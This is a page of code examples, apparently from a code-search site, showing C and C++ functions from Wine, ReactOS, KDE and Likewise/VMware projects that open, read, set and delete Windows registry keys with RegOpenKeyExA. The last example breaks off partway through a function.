Esempio n. 1
0
static void test_SHQUeryValueEx(void)
{
	HKEY hKey;
	DWORD dwSize;
	DWORD dwType;
	char buf[MAX_PATH];
	DWORD dwRet;
	const char * sTestedFunction = "";
	DWORD nUsedBuffer1,nUsedBuffer2;

        sTestedFunction = "RegOpenKeyExA";
        dwRet = RegOpenKeyExA(HKEY_CURRENT_USER, REG_TEST_KEY, 0,  KEY_QUERY_VALUE, &hKey);
	ok( ERROR_SUCCESS == dwRet, "%s failed, ret=%u\n", sTestedFunction, dwRet);

	/****** SHQueryValueExA ******/

	sTestedFunction = "SHQueryValueExA";
	nUsedBuffer1 = max(strlen(sExpTestpath1)+1, strlen(sTestpath1)+1);
	nUsedBuffer2 = max(strlen(sExpTestpath2)+1, strlen(sTestpath2)+1);
	/*
	 * Case 1.1 All arguments are NULL
	 */
        dwRet = SHQueryValueExA( hKey, "Test1", NULL, NULL, NULL, NULL);
	ok( ERROR_SUCCESS == dwRet, "%s failed, ret=%u\n", sTestedFunction, dwRet);

	/*
	 * Case 1.2 dwType is set
	 */
	dwType = -1;
        dwRet = SHQueryValueExA( hKey, "Test1", NULL, &dwType, NULL, NULL);
	ok( ERROR_SUCCESS == dwRet, "%s failed, ret=%u\n", sTestedFunction, dwRet);
	ok( REG_SZ == dwType , "Expected REG_SZ, got (%u)\n", dwType);

	/*
	 * dwSize is set
         * dwExpanded < dwUnExpanded
	 */
	dwSize = 6;
        dwRet = SHQueryValueExA( hKey, "Test1", NULL, NULL, NULL, &dwSize);
	ok( ERROR_SUCCESS == dwRet, "%s failed, ret=%u\n", sTestedFunction, dwRet);
	ok( dwSize == nUsedBuffer1, "Buffer sizes (%u) and (%u) are not equal\n", dwSize, nUsedBuffer1);

	/*
         * dwExpanded > dwUnExpanded
	 */
	dwSize = 6;
        dwRet = SHQueryValueExA( hKey, "Test3", NULL, NULL, NULL, &dwSize);
	ok( ERROR_SUCCESS == dwRet, "%s failed, ret=%u\n", sTestedFunction, dwRet);
	ok( dwSize >= nUsedBuffer2, "Buffer size (%u) should be >= (%u)\n", dwSize, nUsedBuffer2);

	/*
	 * Case 1 string shrinks during expanding
	 */
	strcpy(buf, sEmptyBuffer);
	dwSize = 6;
	dwType = -1;
	dwRet = SHQueryValueExA( hKey, "Test1", NULL, &dwType, buf, &dwSize);
	ok( ERROR_MORE_DATA == dwRet, "Expected ERROR_MORE_DATA, got (%u)\n", dwRet);
	ok( 0 == strcmp(sEmptyBuffer, buf) , "Comparing (%s) with (%s) failed\n", buf, sEmptyBuffer);
	ok( dwSize == nUsedBuffer1, "Buffer sizes (%u) and (%u) are not equal\n", dwSize, nUsedBuffer1);
	ok( REG_SZ == dwType , "Expected REG_SZ, got (%u)\n", dwType);

	/*
	 * string grows during expanding
         * dwSize is smaller than the size of the unexpanded string
	 */
	strcpy(buf, sEmptyBuffer);
	dwSize = 6;
	dwType = -1;
	dwRet = SHQueryValueExA( hKey, "Test3", NULL, &dwType, buf, &dwSize);
	ok( ERROR_MORE_DATA == dwRet, "Expected ERROR_MORE_DATA, got (%u)\n", dwRet);
	ok( 0 == strcmp(sEmptyBuffer, buf) , "Comparing (%s) with (%s) failed\n", buf, sEmptyBuffer);
	ok( dwSize >= nUsedBuffer2, "Buffer size (%u) should be >= (%u)\n", dwSize, nUsedBuffer2);
	ok( REG_SZ == dwType , "Expected REG_SZ, got (%u)\n", dwType);

        /*
         * string grows during expanding
         * dwSize is larger than the size of the unexpanded string, but
         * smaller than the part before the backslash. If the unexpanded
         * string fits into the buffer, it can get cut when expanded.
         */
        strcpy(buf, sEmptyBuffer);
        dwSize = strlen(sEnvvar2) - 2;
        dwType = -1;
        dwRet = SHQueryValueExA( hKey, "Test3", NULL, &dwType, buf, &dwSize);
        ok( ERROR_MORE_DATA == dwRet, "Expected ERROR_MORE_DATA, got (%u)\n", dwRet);

        todo_wine
        {
                ok( (0 == strcmp("", buf)) || (0 == strcmp(sTestpath2, buf)),
                    "Expected empty or unexpanded string (win98), got (%s)\n", buf); 
        }

        ok( dwSize >= nUsedBuffer2, "Buffer size (%u) should be >= (%u)\n", dwSize, nUsedBuffer2);
        ok( REG_SZ == dwType , "Expected REG_SZ, got (%u)\n", dwType);

	/*
         * string grows during expanding
         * dwSize is larger than the size of the part before the backslash,
         * but smaller than the expanded string. If the unexpanded string fits
         * into the buffer, it can get cut when expanded.
	 */
	strcpy(buf, sEmptyBuffer);
	dwSize = nExpLen2 - 4;
	dwType = -1;
        dwRet = SHQueryValueExA( hKey, "Test3", NULL, &dwType, buf, &dwSize);
	ok( ERROR_MORE_DATA == dwRet, "Expected ERROR_MORE_DATA, got (%u)\n", dwRet);

        todo_wine
        {
            ok( (0 == strcmp("", buf)) || (0 == strcmp(sEnvvar2, buf)),
                    "Expected empty or first part of the string \"%s\", got \"%s\"\n", sEnvvar2, buf);
        }

	ok( dwSize >= nUsedBuffer2, "Buffer size (%u) should be >= (%u)\n", dwSize, nUsedBuffer2);
	ok( REG_SZ == dwType , "Expected REG_SZ, got (%u)\n", dwType);

	/*
	 * The buffer is NULL but the size is set
	 */
	strcpy(buf, sEmptyBuffer);
	dwSize = 6;
	dwType = -1;
	dwRet = SHQueryValueExA( hKey, "Test3", NULL, &dwType, NULL, &dwSize);
	ok( ERROR_SUCCESS == dwRet, "%s failed, ret=%u\n", sTestedFunction, dwRet);
	ok( dwSize >= nUsedBuffer2, "Buffer size (%u) should be >= (%u)\n", dwSize, nUsedBuffer2);
	ok( REG_SZ == dwType , "Expected REG_SZ, got (%u)\n", dwType);

	RegCloseKey(hKey);
}
Esempio n. 2
0
long RegistryRW::OpenRegKey(const std::string& path,HKEY& key) const
{
	return RegOpenKeyExA(m_root , path.c_str(),0, KEY_ALL_ACCESS, &key);
}
Esempio n. 3
0
File: mru.c Progetto: AlexSteel/wine
/* Based on RegDeleteTreeW from dlls/advapi32/registry.c */
static LSTATUS mru_RegDeleteTreeA(HKEY hKey, LPCSTR lpszSubKey)
{
    LONG ret;
    DWORD dwMaxSubkeyLen, dwMaxValueLen;
    DWORD dwMaxLen, dwSize;
    CHAR szNameBuf[MAX_PATH], *lpszName = szNameBuf;
    HKEY hSubKey = hKey;

    if(lpszSubKey)
    {
        ret = RegOpenKeyExA(hKey, lpszSubKey, 0, KEY_READ, &hSubKey);
        if (ret) return ret;
    }

    /* Get highest length for keys, values */
    ret = RegQueryInfoKeyA(hSubKey, NULL, NULL, NULL, NULL,
            &dwMaxSubkeyLen, NULL, NULL, &dwMaxValueLen, NULL, NULL, NULL);
    if (ret) goto cleanup;

    dwMaxSubkeyLen++;
    dwMaxValueLen++;
    dwMaxLen = max(dwMaxSubkeyLen, dwMaxValueLen);
    if (dwMaxLen > sizeof(szNameBuf)/sizeof(CHAR))
    {
        /* Name too big: alloc a buffer for it */
        if (!(lpszName = HeapAlloc( GetProcessHeap(), 0, dwMaxLen*sizeof(CHAR))))
        {
            ret = ERROR_NOT_ENOUGH_MEMORY;
            goto cleanup;
        }
    }


    /* Recursively delete all the subkeys */
    while (TRUE)
    {
        dwSize = dwMaxLen;
        if (RegEnumKeyExA(hSubKey, 0, lpszName, &dwSize, NULL,
                          NULL, NULL, NULL)) break;

        ret = mru_RegDeleteTreeA(hSubKey, lpszName);
        if (ret) goto cleanup;
    }

    if (lpszSubKey)
        ret = RegDeleteKeyA(hKey, lpszSubKey);
    else
        while (TRUE)
        {
            dwSize = dwMaxLen;
            if (RegEnumValueA(hKey, 0, lpszName, &dwSize,
                  NULL, NULL, NULL, NULL)) break;

            ret = RegDeleteValueA(hKey, lpszName);
            if (ret) goto cleanup;
        }

cleanup:
    /* Free buffer if allocated */
    if (lpszName != szNameBuf)
        HeapFree( GetProcessHeap(), 0, lpszName);
    if(lpszSubKey)
        RegCloseKey(hSubKey);
    return ret;
}
Esempio n. 4
0
static
DWORD
VmwDeployDisableAfdListener(
    void
    )
{
    DWORD dwError = 0;
    HANDLE hConnection = NULL;
    HKEY   hRootKey = NULL;
    HKEY   hParamKey = NULL;
    DWORD  dwValue = 0;

    dwError = RegOpenServer(&hConnection);
    BAIL_ON_DEPLOY_ERROR(dwError);

    dwError = RegOpenKeyExA(
                    hConnection,
                    NULL,
                    "HKEY_THIS_MACHINE",
                    0,
                    KEY_READ,
                    &hRootKey);
    BAIL_ON_DEPLOY_ERROR(dwError);

    dwError = RegOpenKeyExA(
                    hConnection,
                    hRootKey,
                    "Services\\vmafd\\Parameters",
                    0,
                    KEY_SET_VALUE,
                    &hParamKey);
    BAIL_ON_DEPLOY_ERROR(dwError);

    dwError = RegSetValueExA(
                    hConnection,
                    hParamKey,
                    "EnableDCERPC",
                    0,
                    REG_DWORD,
                    (PBYTE)&dwValue,
                    sizeof(dwValue));
     BAIL_ON_DEPLOY_ERROR(dwError);

cleanup:

    if (hConnection)
    {
        if (hParamKey)
        {
            RegCloseKey(hConnection, hParamKey);
        }
        if (hRootKey)
        {
            RegCloseKey(hConnection, hRootKey);
        }

        RegCloseServer(hConnection);
    }

    return dwError;

error:

    goto cleanup;
}
Esempio n. 5
0
/**
 Actions to perform at very early stage of KDE application life on MS Windows.
 Currently not much is performed here but later, who knows...

 Additional algorithm for win9x (including Millenium), where are problems with 
 easy setting environment variables:

 - try to find HOME env. variable
 - if not found, try to find USERPROFILE env. variable
 - if not found, try to find both HOMEDRIVE and HOMEPATH env. variables
 - if not found, try in the Windows Registry:
   - try get 'Software\KDE' value from HKEY_CURRENT_USER section of Windows Registry
   - if not found, try to get from 
     'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\AppData'
   - if one of above two found, put the value as HOME environment variable 
     using putenv() function.

 Once HOME variable is set, Qt handles it well.
*/
KDEWIN32_EXPORT void kde_bootstrap()
{
	OSVERSIONINFOA osver;
	osver.dwOSVersionInfoSize = sizeof(osver);
	DWORD rc = GetVersionExA( &osver );

	WSADATA wsadata;
	WSAStartup(MAKEWORD(2,2),&wsadata);

	qeventloopex = new QEventLoopEx();

	//for win9x only:
	if (osver.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS) {
		//set $HOME if not available
		char *s, *s2;
		s = getenv("HOME");
		if (!s)
			s = getenv("USERPROFILE");
		if (!s) {
			s = getenv("HOMEDRIVE");
			s2 = getenv("HOMEPATH");
			if (!s2)
				s = 0;
		}
		if (!s) {
			//no $HOME! : set a value from registry:
			HKEY hKey;
			DWORD  len;
			char path[1024];
			char path2[1024];
			bool ok;
#define KEY "Software\\KDE"
			ok = (ERROR_SUCCESS == RegOpenKeyExA( HKEY_CURRENT_USER, KEY, 0, KEY_QUERY_VALUE, &hKey ));
			if (ok) {
				len = sizeof(path);
				ok = (ERROR_SUCCESS == RegQueryValueExA( hKey, "HOME", 0, 0, (LPBYTE)path, &len ));
				fprintf(stderr,"RegQueryValueExA = %d, %s\n", ok, path);
			}
#define KEY2 "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders"
			if (!ok) {
				ok = (ERROR_SUCCESS == RegOpenKeyExA( HKEY_CURRENT_USER, KEY, 0, KEY_QUERY_VALUE, &hKey ));
				if (ok) {
					len = sizeof(path);
					ok = (ERROR_SUCCESS == RegQueryValueExA( hKey, "AppData", 0, 0, (LPBYTE)path, &len ));
					fprintf(stderr,"RegQueryValueExA = %d, %s\n", ok, path);
				}
			}
			if (ok) {
				ok = (0==access(path, R_OK));
				if (!ok) {
					CreateDirectoryA(path,NULL);
					ok = (0==access(path, R_OK));
					fprintf(stderr,"CreateDirectoryA(%s) = %d\n", path, ok);
				}

				if (ok) {
					//it's not a problem with encoding, because Qt will use fromLocal8Bit()
					strcpy(path2, "HOME=");
					strncat(path2, path, sizeof(path2)-1-strlen(path2));
					rc = putenv(path2);
					fprintf(stderr,"putenv(HOME) = %d\n",(int)rc);
/*
					path[0]=0;
					char *p = getenv( "HOME" );
					fprintf(stderr,"getenv(HOME) = %s\n", p);*/
				}
				else
					fprintf(stderr,"'%s' doesn't exist\n",path);
			}
			else
				fprintf(stderr,"$HOME not found!\n",path);

			RegCloseKey( hKey );
		}
	}
}
Esempio n. 6
0
DWORD
SetBooleanRegistryValue(
    PCSTR path,
    PCSTR name,
    BOOL  value
    )
{
    DWORD ceError = ERROR_SUCCESS;
    HANDLE hReg = (HANDLE)NULL;
    HKEY pRootKey = NULL;
    HKEY pNodeKey = NULL;
    DWORD dwValue = 0;

    if (value)
    {
        dwValue = 1;
    }

    ceError = RegOpenServer(&hReg);
    BAIL_ON_CENTERIS_ERROR(ceError);

    ceError = RegOpenKeyExA(
                hReg,
                NULL,
                HKEY_THIS_MACHINE,
                0,
                KEY_ALL_ACCESS,
                &pRootKey);
    if (ceError)
    {
        DJ_LOG_ERROR( "Failed to open registry root key %s",HKEY_THIS_MACHINE);
        goto error;
    }

    ceError = RegOpenKeyExA(
                hReg,
                pRootKey,
                path,
                0,
                KEY_ALL_ACCESS,
                &pNodeKey);
    if (ceError)
    {
        DJ_LOG_ERROR( "Failed to open registry key %s\\%s",HKEY_THIS_MACHINE, path);
        goto error;
    }

    ceError = RegSetValueExA(
                hReg,
                pNodeKey,
                name,
                0,
                REG_DWORD,
                (const BYTE*) &dwValue,
                sizeof(dwValue));
    if (ceError)
    {
        DJ_LOG_ERROR( "Failed to set registry value %s with value %d", name, value ? 1 : 0);
        goto error;
    }

cleanup:

    if (hReg)
    {
        if (pNodeKey)
        {
            RegCloseKey(hReg, pNodeKey);
            pNodeKey = NULL;
        }

        if (pRootKey)
        {
            RegCloseKey(hReg, pRootKey);
            pRootKey = NULL;
        }

        RegCloseServer(hReg);
        hReg = NULL;
    }

    return(ceError);

error:
    goto cleanup;
}
Esempio n. 7
0
DWORD
WINAPI
DECLSPEC_HOTPATCH
GetAdaptersAddresses(
    _In_ ULONG Family,
    _In_ ULONG Flags,
    _In_ PVOID Reserved,
    _Inout_ PIP_ADAPTER_ADDRESSES pAdapterAddresses,
    _Inout_ PULONG pOutBufLen)
{
    NTSTATUS Status;
    HANDLE TcpFile;
    TDIEntityID* InterfacesList;
    ULONG InterfacesCount;
    ULONG AdaptersCount = 0;
    ULONG i;
    ULONG TotalSize = 0, RemainingSize;
    BYTE* Ptr = (BYTE*)pAdapterAddresses;
    DWORD MIN_SIZE = 15 * 1024;
    PIP_ADAPTER_ADDRESSES PreviousAA = NULL;

    FIXME("GetAdaptersAddresses - Semi Stub: Family %u, Flags 0x%08x, Reserved %p, pAdapterAddress %p, pOutBufLen %p.\n",
        Family, Flags, Reserved, pAdapterAddresses, pOutBufLen);

    if (!pOutBufLen)
        return ERROR_INVALID_PARAMETER;

    // FIXME: the exact needed size should be computed first, BEFORE doing any write to the output buffer.
    // As suggested by MSDN, require a 15 KB buffer, which allows to React properly to length checks.
    if(!Ptr || *pOutBufLen < MIN_SIZE)
    {
        *pOutBufLen = MIN_SIZE;
        return ERROR_BUFFER_OVERFLOW;
    }

    switch(Family)
    {
        case AF_INET:
            break;
        case AF_INET6:
            /* One day maybe... */
            FIXME("IPv6 is not supported in ReactOS!\n");
            /* We got nothing to say in this case */
            return ERROR_NO_DATA;
            break;
        case AF_UNSPEC:
            WARN("IPv6 addresses ignored, IPv4 only\n");
            Family = AF_INET;
            break;
        default:
            ERR("Invalid family 0x%x\n", Family);
            return ERROR_INVALID_PARAMETER;
            break;
    }

    RemainingSize = *pOutBufLen;
    if (Ptr)
        ZeroMemory(Ptr, RemainingSize);

    /* open the tcpip driver */
    Status = openTcpFile(&TcpFile, FILE_READ_DATA);
    if (!NT_SUCCESS(Status))
    {
        ERR("Could not open handle to tcpip.sys. Status %08x\n", Status);
        return RtlNtStatusToDosError(Status);
    }

    /* Get the interfaces list */
    Status = GetInterfacesList(TcpFile, &InterfacesList, &InterfacesCount);
    if (!NT_SUCCESS(Status))
    {
        ERR("Could not get adapters list. Status %08x\n", Status);
        NtClose(TcpFile);
        return RtlNtStatusToDosError(Status);
    }

    /* Let's see if we got any adapter. */
    for (i = 0; i < InterfacesCount; i++)
    {
        PIP_ADAPTER_ADDRESSES CurrentAA = (PIP_ADAPTER_ADDRESSES)Ptr;
        ULONG CurrentAASize = 0;

        if (InterfacesList[i].tei_entity == IF_ENTITY)
        {
            BYTE EntryBuffer[FIELD_OFFSET(IFEntry, if_descr) +
                             RTL_FIELD_SIZE(IFEntry, if_descr[0]) * (MAX_ADAPTER_DESCRIPTION_LENGTH + 1)];
            IFEntry* Entry = (IFEntry*)EntryBuffer;

            /* Remember we got one */
            AdaptersCount++;

            /* Set the pointer to this instance in the previous one*/
            if(PreviousAA)
                PreviousAA->Next = CurrentAA;

            /* Of course we need some space for the base structure. */
            CurrentAASize = sizeof(IP_ADAPTER_ADDRESSES);

            /* Get the entry */
            Status = GetInterfaceEntry(TcpFile, InterfacesList[i], Entry);
            if (!NT_SUCCESS(Status))
                goto Error;

            TRACE("Got entity %*s, index %u.\n",
                Entry->if_descrlen, &Entry->if_descr[0], Entry->if_index);

            /* Add the adapter name */
            CurrentAASize += Entry->if_descrlen + sizeof(CHAR);

            /* Add the DNS suffix */
            CurrentAASize += sizeof(WCHAR);

            /* Add the description. */
            CurrentAASize += sizeof(WCHAR);

            if (!(Flags & GAA_FLAG_SKIP_FRIENDLY_NAME))
            {
                /* Just an empty string for now. */
                FIXME("Should get adapter friendly name.\n");
                CurrentAASize += sizeof(WCHAR);
            }

            if (!(Flags & GAA_FLAG_SKIP_DNS_SERVER))
            {
                /* Enumerate the name servers */
                HKEY InterfaceKey;
                CHAR KeyName[256];

                snprintf(KeyName, 256,
                    "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\%*s",
                    Entry->if_descrlen, &Entry->if_descr[0]);

                if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, KeyName, 0, KEY_READ, &InterfaceKey) != ERROR_SUCCESS)
                {
                    ERR("Failed opening interface key for interface %*s\n", Entry->if_descrlen, &Entry->if_descr[0]);
                    Flags |= GAA_FLAG_SKIP_DNS_SERVER;
                }
                else
                {
                    EnumNameServers(InterfaceKey, NULL, &CurrentAASize, EnumerateServerNameSize);
                    RegCloseKey(InterfaceKey);
                }
            }

            /* This is part of what we will need */
            TotalSize += CurrentAASize;

            /* Fill in the data */
            if ((CurrentAA) && (RemainingSize >= CurrentAASize))
            {
                CurrentAA->Length = sizeof(IP_ADAPTER_ADDRESSES);
                CurrentAA->IfIndex = Entry->if_index;
                CopyMemory(CurrentAA->PhysicalAddress, Entry->if_physaddr, Entry->if_physaddrlen);
                CurrentAA->PhysicalAddressLength = Entry->if_physaddrlen;
                CurrentAA->Flags = 0; // FIXME!
                CurrentAA->Mtu = Entry->if_mtu;
                CurrentAA->IfType = Entry->if_type;
                CurrentAA->OperStatus = Entry->if_operstatus;
                /* Next items */
                Ptr = (BYTE*)(CurrentAA + 1);

                /* Now fill in the name */
                CopyMemory(Ptr, &Entry->if_descr[0], Entry->if_descrlen);
                CurrentAA->AdapterName = (PCHAR)Ptr;
                CurrentAA->AdapterName[Entry->if_descrlen] = '\0';
                /* Next items */
                Ptr = (BYTE*)(CurrentAA->AdapterName + Entry->if_descrlen + 1);

                /* The DNS suffix */
                CurrentAA->DnsSuffix = (PWCHAR)Ptr;
                CurrentAA->DnsSuffix[0] = L'\0';
                /* Next items */
                Ptr = (BYTE*)(CurrentAA->DnsSuffix + 1);

                /* The description */
                CurrentAA->Description = (PWCHAR)Ptr;
                CurrentAA->Description[0] = L'\0';
                /* Next items */
                Ptr = (BYTE*)(CurrentAA->Description + 1);

                /* The friendly name */
                if (!(Flags & GAA_FLAG_SKIP_FRIENDLY_NAME))
                {
                    CurrentAA->FriendlyName = (PWCHAR)Ptr;
                    CurrentAA->FriendlyName[0] = L'\0';
                    /* Next items */
                    Ptr = (BYTE*)(CurrentAA->FriendlyName + 1);
                }

                /* The DNS Servers */
                if (!(Flags & GAA_FLAG_SKIP_DNS_SERVER))
                {
                    /* Enumerate the name servers */
                    HKEY InterfaceKey;
                    CHAR KeyName[256];

                    snprintf(KeyName, 256,
                        "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\%*s",
                        Entry->if_descrlen, &Entry->if_descr[0]);

                    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, KeyName, 0, KEY_READ, &InterfaceKey) != ERROR_SUCCESS)
                    {
                        ERR("Failed opening interface key for interface %*s\n", Entry->if_descrlen, &Entry->if_descr[0]);
                    }
                    else
                    {
                        PIP_ADAPTER_DNS_SERVER_ADDRESS* ServerAddressPtr;

                        CurrentAA->FirstDnsServerAddress = (PIP_ADAPTER_DNS_SERVER_ADDRESS)Ptr;
                        ServerAddressPtr = &CurrentAA->FirstDnsServerAddress;

                        EnumNameServers(InterfaceKey, NULL, &ServerAddressPtr, EnumerateServerName);
                        RegCloseKey(InterfaceKey);

                        /* Set the last entry in the list as having NULL next member */
                        Ptr = (BYTE*)*ServerAddressPtr;
                        *ServerAddressPtr = NULL;
                    }
                }

                /* We're done for this interface */
                PreviousAA = CurrentAA;
                RemainingSize -= CurrentAASize;
            }
        }
    }

    if (AdaptersCount == 0)
    {
        /* Uh? Not even localhost ?! */
        ERR("No Adapters found!\n");
        *pOutBufLen = 0;
        return ERROR_NO_DATA;
    }

    /* See if we have anything to add */
    // FIXME: Anycast and multicast
    if ((Flags & (GAA_FLAG_SKIP_UNICAST | GAA_FLAG_INCLUDE_PREFIX)) == GAA_FLAG_SKIP_UNICAST)
        goto Success;

    /* Now fill in the addresses */
    for (i = 0; i < InterfacesCount; i++)
    {
        /* Look for network layers */
        if ((InterfacesList[i].tei_entity == CL_NL_ENTITY)
                || (InterfacesList[i].tei_entity == CO_NL_ENTITY))
        {
            IPSNMPInfo SnmpInfo;
            PIP_ADAPTER_ADDRESSES CurrentAA = NULL;
            IPAddrEntry* AddrEntries;
            ULONG j;

            /* Get its SNMP info */
            Status = GetSnmpInfo(TcpFile, InterfacesList[i], &SnmpInfo);
            if (!NT_SUCCESS(Status))
                goto Error;

            if (SnmpInfo.ipsi_numaddr == 0)
                continue;

            /* Allocate the address entry array and get them */
            AddrEntries = HeapAlloc(GetProcessHeap(),
                HEAP_ZERO_MEMORY,
                SnmpInfo.ipsi_numaddr * sizeof(AddrEntries[0]));
            if (!AddrEntries)
            {
                Status = STATUS_NO_MEMORY;
                goto Error;
            }
            Status = GetAddrEntries(TcpFile, InterfacesList[i], AddrEntries, SnmpInfo.ipsi_numaddr);
            if (!NT_SUCCESS(Status))
            {
                HeapFree(GetProcessHeap(), 0, AddrEntries);
                goto Error;
            }

            for (j = 0; j < SnmpInfo.ipsi_numaddr; j++)
            {
                /* Find the adapters struct for this address. */
                if (pAdapterAddresses)
                {
                    CurrentAA = pAdapterAddresses;
                    while (CurrentAA)
                    {
                        if (CurrentAA->IfIndex == AddrEntries[j].iae_index)
                            break;

                        CurrentAA = CurrentAA->Next;
                    }

                    if (!CurrentAA)
                    {
                        ERR("Got address for interface %u but no adapter was found for it.\n", AddrEntries[j].iae_index);
                        /* Go to the next address */
                        continue;
                    }
                }

                ERR("address is 0x%08x, mask is 0x%08x\n", AddrEntries[j].iae_addr, AddrEntries[j].iae_mask);

                //FIXME: For now reactos only supports unicast addresses
                if (!(Flags & GAA_FLAG_SKIP_UNICAST))
                {
                    ULONG Size = sizeof(IP_ADAPTER_UNICAST_ADDRESS) + sizeof(SOCKADDR);

                    if (Ptr && (RemainingSize >= Size))
                    {
                        PIP_ADAPTER_UNICAST_ADDRESS UnicastAddress = (PIP_ADAPTER_UNICAST_ADDRESS)Ptr;

                        /* Fill in the structure */
                        UnicastAddress->Length = sizeof(IP_ADAPTER_UNICAST_ADDRESS);
                        UnicastAddress->Next = CurrentAA->FirstUnicastAddress;

                        // FIXME: Put meaningful value here
                        UnicastAddress->Flags = 0;
                        UnicastAddress->PrefixOrigin = IpPrefixOriginOther;
                        UnicastAddress->SuffixOrigin = IpSuffixOriginOther;
                        UnicastAddress->DadState = IpDadStatePreferred;
                        UnicastAddress->ValidLifetime = 0xFFFFFFFF;
                        UnicastAddress->PreferredLifetime = 0xFFFFFFFF;

                        /* Set the address */
                        //FIXME: ipv4 only (again...)
                        UnicastAddress->Address.lpSockaddr = (LPSOCKADDR)(UnicastAddress + 1);
                        UnicastAddress->Address.iSockaddrLength = sizeof(AddrEntries[j].iae_addr);
                        UnicastAddress->Address.lpSockaddr->sa_family = AF_INET;
                        memcpy(UnicastAddress->Address.lpSockaddr->sa_data, &AddrEntries[j].iae_addr, sizeof(AddrEntries[j].iae_addr));

                        CurrentAA->FirstUnicastAddress = UnicastAddress;
                        Ptr += Size;
                        RemainingSize -= Size;
                    }

                    TotalSize += Size;
                }

                if (Flags & GAA_FLAG_INCLUDE_PREFIX)
                {
                    ULONG Size = sizeof(IP_ADAPTER_PREFIX) + sizeof(SOCKADDR);

                    if (Ptr && (RemainingSize >= Size))
                    {
                        PIP_ADAPTER_PREFIX Prefix = (PIP_ADAPTER_PREFIX)Ptr;

                        /* Fill in the structure */
                        Prefix->Length = sizeof(IP_ADAPTER_PREFIX);
                        Prefix->Next = CurrentAA->FirstPrefix;

                        /* Set the address */
                        //FIXME: ipv4 only (again...)
                        Prefix->Address.lpSockaddr = (LPSOCKADDR)(Prefix + 1);
                        Prefix->Address.iSockaddrLength = sizeof(AddrEntries[j].iae_mask);
                        Prefix->Address.lpSockaddr->sa_family = AF_INET;
                        memcpy(Prefix->Address.lpSockaddr->sa_data, &AddrEntries[j].iae_mask, sizeof(AddrEntries[j].iae_mask));

                        /* Compute the prefix size */
                        _BitScanReverse(&Prefix->PrefixLength, AddrEntries[j].iae_mask);

                        CurrentAA->FirstPrefix = Prefix;
                        Ptr += Size;
                        RemainingSize -= Size;
                    }

                    TotalSize += Size;
                }
            }

            HeapFree(GetProcessHeap(), 0, AddrEntries);
        }
    }

Success:
    /* We're done */
    HeapFree(GetProcessHeap(), 0, InterfacesList);
    NtClose(TcpFile);
    *pOutBufLen = TotalSize;
    TRACE("TotalSize: %x\n", *pOutBufLen);
    return ERROR_SUCCESS;

Error:
    ERR("Failed! Status 0x%08x\n", Status);
    *pOutBufLen = 0;
    HeapFree(GetProcessHeap(), 0, InterfacesList);
    NtClose(TcpFile);
    return RtlNtStatusToDosError(Status);
}
Esempio n. 8
0
static
DWORD
UmnSrvUpdateAccountInfo(
    long long Now
    )
{
    DWORD dwError = 0;
    HANDLE hLsass = NULL;
    HANDLE hReg = NULL;
    HKEY hParameters = NULL;
    BOOLEAN bLocalDBOpen = FALSE;

    // Do not free
    PSTR pDisableLsassEnum = NULL;
    DWORD lastUpdated = 0;
    DWORD lastUpdatedLen = sizeof(lastUpdated);
    PLW_EVENTLOG_CONNECTION pConn = NULL;

    dwError = LwEvtOpenEventlog(
                    NULL,
                    &pConn);
    BAIL_ON_UMN_ERROR(dwError);

    dwError = LsaOpenServer(&hLsass);
    BAIL_ON_UMN_ERROR(dwError);

    dwError = RegOpenServer(&hReg);
    BAIL_ON_UMN_ERROR(dwError);

    dwError = RegOpenKeyExA(
                hReg,
                NULL,
                HKEY_THIS_MACHINE "\\Services\\" SERVICE_NAME "\\Parameters",
                0,
                KEY_ALL_ACCESS,
                &hParameters);
    BAIL_ON_UMN_ERROR(dwError);

    dwError = RegGetValueA(
                    hReg,
                    hParameters,
                    NULL,
                    "LastUpdated",
                    0,
                    NULL,
                    (PBYTE)&lastUpdated,
                    &lastUpdatedLen);
    if (dwError == LWREG_ERROR_NO_SUCH_KEY_OR_VALUE)
    {
        lastUpdated = 0;
        dwError = 0;
    }
    BAIL_ON_UMN_ERROR(dwError);

    /* processing local users/groups so disable AD user/group enumeration */
    pDisableLsassEnum = getenv("_DISABLE_LSASS_NSS_ENUMERATION");
    if (!pDisableLsassEnum || strcmp(pDisableLsassEnum, "1"))
    {
        /* Note, this code must leak memory.
         *
         * Putenv uses the memory passed to it, that it is it does not copy the
         * string. There is no Unix standard to unset an environment variable,
         * and the string passed to putenv must be accessible as long as the
         * program is running. A static string cannot be used because the
         * container could out live this service. There is no opportunity to
         * free the string before the program ends, because the variable must
         * be accessible for the duration of the program.
         */
        dwError = LwAllocateString(
                    "_DISABLE_LSASS_NSS_ENUMERATION=1",
                    &pDisableLsassEnum);
        BAIL_ON_UMN_ERROR(dwError);
        putenv(pDisableLsassEnum);
    }

    setpwent();
    setgrent();
    bLocalDBOpen = TRUE;

    dwError = UmnSrvUpdateUsers(
                    hLsass,
                    pConn,
                    hReg,
                    hParameters,
                    lastUpdated,
                    Now);
    BAIL_ON_UMN_ERROR(dwError);

    dwError = UmnSrvUpdateGroups(
                    hLsass,
                    pConn,
                    hReg,
                    hParameters,
                    lastUpdated,
                    Now);
    BAIL_ON_UMN_ERROR(dwError);

    endpwent();
    endgrent();
    bLocalDBOpen = FALSE;

    dwError = UmnSrvUpdateADAccounts(
                    hLsass,
                    pConn,
                    hReg,
                    hParameters,
                    lastUpdated,
                    Now);
    BAIL_ON_UMN_ERROR(dwError);

    lastUpdated = Now;
    dwError = RegSetValueExA(
                    hReg,
                    hParameters,
                    "LastUpdated",
                    0,
                    REG_DWORD,
                    (PBYTE)&lastUpdated,
                    sizeof(lastUpdated));
    BAIL_ON_UMN_ERROR(dwError);

cleanup:
    if (bLocalDBOpen)
    {
        endpwent();
        endgrent();
    }
    if (hLsass)
    {
        LsaCloseServer(hLsass);
    }
    if (hReg)
    {
        RegCloseServer(hReg);
    }
    if (pConn)
    {
        LwEvtCloseEventlog(pConn);
    }
    return dwError;

error:
    goto cleanup;
}
Esempio n. 9
0
DWORD
SetStringRegistryValue(
    PCSTR path,
    PCSTR name,
    PSTR  value
    )
{
    DWORD ceError = ERROR_SUCCESS;
    HANDLE hReg = (HANDLE)NULL;
    HKEY pRootKey = NULL;
